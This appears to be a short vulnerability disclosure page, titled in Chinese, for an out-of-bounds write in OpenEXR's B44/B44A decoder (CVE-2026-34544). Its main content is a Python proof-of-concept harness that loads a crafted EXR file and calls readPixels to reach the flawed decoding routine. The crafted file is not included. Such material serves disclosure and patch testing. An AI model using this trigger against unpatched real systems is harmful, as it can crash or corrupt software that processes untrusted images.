CVE-2026-34544 OpenEXR越界写入漏洞

import OpenEXR import sys # PoC for CVE-2026-34544 # This script demonstrates the trigger mechanism by loading a crafted EXR file. # Requirement: A malicious EXR file using B44/B44A compression. def trigger_crash(file_path): try: # Open the crafted EXR file exr_file = OpenEXR.InputFile(file_path) # Access header to trigger parsing header = exr_file.header() width = header['dataWindow'].max.x - header['dataWindow'].min.x + 1 height = header['dataWindow'].max.y - header['dataWindow'].min.y + 1 # Read pixels triggers the vulnerable exr_decoding_run() function # This is where the out-of-bounds write occurs print(f"Attempting to decode {width}x{height} image...") pixels = exr_file.readPixels(['R', 'G', 'B', 'A']) print("File processed successfully (Exploit likely failed)") except Exception as e: print(f"Exception caught (potential crash): {e}") if __name__ == "__main__": # Replace with the path to a crafted B44 EXR file malicious_file = "poc_cve_2026_34544.exr" trigger_crash(malicious_file)